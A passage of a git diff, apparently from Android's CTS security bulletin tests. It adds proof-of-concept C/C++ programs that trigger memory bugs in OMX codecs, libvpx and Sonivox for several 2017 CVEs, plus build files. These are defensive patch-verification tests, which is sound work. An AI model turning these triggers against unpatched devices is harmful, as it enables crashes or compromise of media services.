+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource =
+ DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
index 31215a1..c70891b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0814",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -32,3 +28,4 @@
"-DCHECK_OVERFLOW",
],
}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
new file mode 100644
index 0000000..5380fb5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0817",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "libnativewindow",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
index a2a8734..0156bac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0837",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
index 52325db..4263dee 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-0840",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -42,3 +38,4 @@
"-Werror",
],
}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
new file mode 100644
index 0000000..2139583
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13180",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..33ffdaf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+
+ omxExitOnError(err);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCount = def.nBufferCountActual;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (i = 0; i < inBufferCount; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+ int64_t timeUs = TIMESTAMP_US;
+ omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+ omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+
+ omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp
new file mode 100644
index 0000000..9b478eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-13194",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "liblog",
+ ],
+ include_dirs: [
+ "external/libvpx/libvpx",
+ "external/libvpx/libvpx/vpx_ports",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp
new file mode 100644
index 0000000..f11cac9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "../includes/memutils.h"
+#include "vpx/vp8cx.h"
+#include "vpx/vpx_codec.h"
+#include "vpx/vpx_encoder.h"
+
+#define ENCODE_WIDTH 11
+#define ENCODE_HEIGHT 10000
+#define LIBNAME "/system/apex/com.android.media.swcodec/lib64/libvpx.so"
+#define LIBNAME_APEX "/apex/com.android.media.swcodec/lib64/libvpx.so"
+
+char enable_selective_overload = ENABLE_NONE;
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+ vpx_codec_err_t codec_return = VPX_CODEC_OK;
+ vpx_codec_enc_cfg_t mCodecConfiguration;
+ vpx_image_t raw_frame;
+ uint32_t framerate = (30 << 16);
+ vpx_codec_iface_t *(*func_ptr1)() =
+ (vpx_codec_iface_t * (*)()) dlsym(libHandle, "vpx_codec_vp8_cx");
+ if (!func_ptr1) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_iface_t *mCodecInterface = (*func_ptr1)();
+ if (!mCodecInterface) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_err_t (*func_ptr2)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int) =
+ (vpx_codec_err_t(*)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int))dlsym(
+ libHandle, "vpx_codec_enc_config_default");
+ if (!func_ptr2) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ codec_return = (*func_ptr2)(mCodecInterface, &mCodecConfiguration, 0);
+ mCodecConfiguration.g_w = ENCODE_WIDTH;
+ mCodecConfiguration.g_h = ENCODE_HEIGHT;
+ vpx_codec_ctx_t mCodecContext;
+ vpx_codec_err_t (*func_ptr3)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
+ vpx_codec_flags_t, int) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
+ vpx_codec_flags_t, int))dlsym(libHandle, "vpx_codec_enc_init_ver");
+ if (!func_ptr3) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ codec_return = (*func_ptr3)(&mCodecContext, mCodecInterface, &mCodecConfiguration, 0,
+ VPX_ENCODER_ABI_VERSION);
+
+ if (codec_return != VPX_CODEC_OK) {
+ return EXIT_FAILURE;
+ }
+ unsigned char *source = (unsigned char *)memalign(16, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
+ if (!source) {
+ return EXIT_FAILURE;
+ }
+ memset(source, 0, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
+ vpx_image_t (*func_ptr4)(vpx_image_t *, vpx_img_fmt_t, unsigned int, unsigned int, unsigned int,
+ unsigned char *) =
+ (vpx_image(*)(vpx_image *, vpx_img_fmt, unsigned int, unsigned int, unsigned int,
+ unsigned char *))dlsym(libHandle, "vpx_img_wrap");
+ if (!func_ptr4) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ (*func_ptr4)(&raw_frame, VPX_IMG_FMT_I420, ENCODE_WIDTH, ENCODE_HEIGHT, 1, source);
+ vpx_codec_err_t (*func_ptr5)(vpx_codec_ctx_t *, const vpx_image_t *, vpx_codec_pts_t,
+ unsigned long, vpx_enc_frame_flags_t, unsigned long) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx *, const vpx_image *, long, unsigned long, long,
+ unsigned long))dlsym(libHandle, "vpx_codec_encode");
+ if (!func_ptr5) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ codec_return =
+ (*func_ptr5)(&mCodecContext, &raw_frame, framerate,
+ (uint32_t)(((uint64_t)1000000 << 16) / framerate), 0, VPX_DL_REALTIME);
+ if (codec_return != VPX_CODEC_OK) {
+ free(source);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_err_t (*func_ptr6)(vpx_codec_ctx_t *) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx *))dlsym(libHandle, "vpx_codec_destroy");
+ if (!func_ptr6) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ (*func_ptr6)(&mCodecContext);
+ enable_selective_overload = ENABLE_NONE;
+ dlclose(libHandle);
+ free(source);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
index c8b45cb..a2ac927 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13232/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-13232",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
new file mode 100644
index 0000000..8ba14a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13234",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ include_dirs: [
+ "external/sonivox/arm-wt-22k/host_src",
+ ],
+
+ shared_libs: [
+ "libsonivox",
+ ],
+
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+ fseek(handle, offset, SEEK_SET);
+ return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+ fseek(handle, 0, SEEK_END);
+ return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+ EAS_HANDLE handle;
+ EAS_FILE file;
+ file.handle = (void*) fopen(filename, "rb");
+ file.readAt = EAS_fread;
+ file.size = EAS_fsize;
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+ }
+ EAS_Prepare(easData, handle);
+ EAS_CloseFile(easData, handle);
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+}
+
+int main(int argc, char **argv) {
+ EAS_DATA_HANDLE easData;
+ EAS_RESULT result;
+
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ result = EAS_Init(&easData);
+ if (result != EAS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ PlayFile(easData, argv[1]);
+ EAS_Shutdown(easData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
index f6d2bc8..37717a2 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13241/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-13241",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -41,3 +37,4 @@
"-Werror",
],
}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
index 09bb12c..5a8d964 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-13253",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
index 5d59b96..70dd343 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-13273",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
index 35dcbde..f5adc33 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2017-6262",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
index 45ae45e..df215ef 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
